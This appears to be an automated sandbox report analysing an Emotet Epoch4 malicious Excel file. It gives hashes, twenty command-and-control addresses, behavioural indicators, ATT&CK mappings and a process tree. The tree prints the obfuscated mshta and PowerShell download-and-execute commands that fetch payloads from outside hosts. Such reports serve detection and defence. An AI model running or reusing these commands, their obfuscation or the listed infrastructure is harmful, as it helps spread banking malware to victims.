emotet | 67d5e8d2c3fcf5a17f0c7aad1b6f8963102dd00bdb62a3179605c3cdf659ab3c

General

Target

67d5e8d2c3fcf5a17f0c7aad1b6f8963102dd00bdb62a3179605c3cdf659ab3c.xls
Size

71KB
MD5

fad5c85a9115f2c85fdcf41bdaa3d0e7
SHA1

09c9d0b3d06560b7a8b55076d11ac27a535375ab
SHA256

67d5e8d2c3fcf5a17f0c7aad1b6f8963102dd00bdb62a3179605c3cdf659ab3c
SHA512

98406cddadedc929c165059a30320e28b9278f9c8a5d79941104a43bfc99c5926f7ecd8b47aa9a39b361167767c57ae9dba6787e554480183aaedab21323a99b

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1908	2384	cmd.exe	67

Blocklisted process makes network request 5 IoCs

flow	pid	Process
37	1184	mshta.exe
38	3964	powershell.exe
40	3964	powershell.exe
48	2708	rundll32.exe
49	2708	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
392	rundll32.exe
4076	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Igjzeonmhjye\rzmpiaps.laj	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1232	1184	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2384	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3964	powershell.exe
3964	powershell.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
1232	WerFault.exe
3964	powershell.exe
2708	rundll32.exe
2708	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeDebugPrivilege	1232	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE
2384	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 1908	2384	EXCEL.EXE	72
PID 2384 wrote to memory of 1908	2384	EXCEL.EXE	72
PID 1908 wrote to memory of 1184	1908	cmd.exe	74
PID 1908 wrote to memory of 1184	1908	cmd.exe	74
PID 1184 wrote to memory of 3964	1184	mshta.exe	75
PID 1184 wrote to memory of 3964	1184	mshta.exe	75
PID 3964 wrote to memory of 960	3964	powershell.exe	79
PID 3964 wrote to memory of 960	3964	powershell.exe	79
PID 960 wrote to memory of 392	960	cmd.exe	80
PID 960 wrote to memory of 392	960	cmd.exe	80
PID 960 wrote to memory of 392	960	cmd.exe	80
PID 392 wrote to memory of 4076	392	rundll32.exe	81
PID 392 wrote to memory of 4076	392	rundll32.exe	81
PID 392 wrote to memory of 4076	392	rundll32.exe	81
PID 4076 wrote to memory of 2284	4076	rundll32.exe	84
PID 4076 wrote to memory of 2284	4076	rundll32.exe	84
PID 4076 wrote to memory of 2284	4076	rundll32.exe	84
PID 2284 wrote to memory of 2708	2284	rundll32.exe	85
PID 2284 wrote to memory of 2708	2284	rundll32.exe	85
PID 2284 wrote to memory of 2708	2284	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\67d5e8d2c3fcf5a17f0c7aad1b6f8963102dd00bdb62a3179605c3cdf659ab3c.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3964
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:960
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:392
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4076
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Igjzeonmhjye\rzmpiaps.laj",CQRtNcwNDp
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2284
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Igjzeonmhjye\rzmpiaps.laj",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2708
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1184 -s 1700
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1232

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/392-322-0x0000000000741000-0x0000000000763000-memory.dmp

Filesize
136KB

Download
memory/2284-346-0x0000000004680000-0x00000000046A6000-memory.dmp

Filesize
152KB

Download
memory/2384-380-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2384-378-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2384-116-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2384-129-0x00007FFEFB680000-0x00007FFEFB690000-memory.dmp

Filesize
64KB

Download
memory/2384-115-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2384-379-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2384-381-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2384-117-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2384-128-0x00007FFEFB680000-0x00007FFEFB690000-memory.dmp

Filesize
64KB

Download
memory/2384-119-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2384-118-0x00007FFEFF1F0000-0x00007FFEFF200000-memory.dmp

Filesize
64KB

Download
memory/2708-349-0x0000000002E30000-0x0000000002E56000-memory.dmp

Filesize
152KB

Download
memory/2708-383-0x0000000005290000-0x00000000052B6000-memory.dmp

Filesize
152KB

Download
memory/2708-385-0x0000000005480000-0x00000000054A6000-memory.dmp

Filesize
152KB

Download
memory/2708-376-0x00000000051A0000-0x00000000051C6000-memory.dmp

Filesize
152KB

Download
memory/2708-366-0x00000000050C0000-0x00000000050E6000-memory.dmp

Filesize
152KB

Download
memory/2708-364-0x0000000004FE0000-0x0000000005006000-memory.dmp

Filesize
152KB

Download
memory/2708-355-0x0000000004EE0000-0x0000000004F06000-memory.dmp

Filesize
152KB

Download
memory/2708-350-0x00000000049A0000-0x00000000049C6000-memory.dmp

Filesize
152KB

Download
memory/2708-387-0x0000000005500000-0x0000000005526000-memory.dmp

Filesize
152KB

Download
memory/3964-308-0x00000236BE900000-0x00000236BE976000-memory.dmp

Filesize
472KB

Download
memory/3964-319-0x00000236A6100000-0x00000236BE1A0000-memory.dmp

Filesize
384.6MB

Download
memory/3964-316-0x00000236A6100000-0x00000236BE1A0000-memory.dmp

Filesize
384.6MB

Download
memory/3964-313-0x00000236A6100000-0x00000236BE1A0000-memory.dmp

Filesize
384.6MB

Download
memory/3964-296-0x00000236BE840000-0x00000236BE87C000-memory.dmp

Filesize
240KB

Download
memory/3964-277-0x00000236BE150000-0x00000236BE172000-memory.dmp

Filesize
136KB

Download
memory/4076-345-0x0000000005890000-0x00000000058B6000-memory.dmp

Filesize
152KB

Download
memory/4076-336-0x0000000005730000-0x0000000005756000-memory.dmp

Filesize
152KB

Download
memory/4076-334-0x00000000056D0000-0x00000000056F6000-memory.dmp

Filesize
152KB

Download
memory/4076-332-0x0000000005670000-0x0000000005696000-memory.dmp

Filesize
152KB

Download
memory/4076-330-0x0000000005590000-0x00000000055B6000-memory.dmp

Filesize
152KB

Download
memory/4076-328-0x0000000005490000-0x00000000054B6000-memory.dmp

Filesize
152KB

Download
memory/4076-325-0x0000000004E70000-0x0000000004E96000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads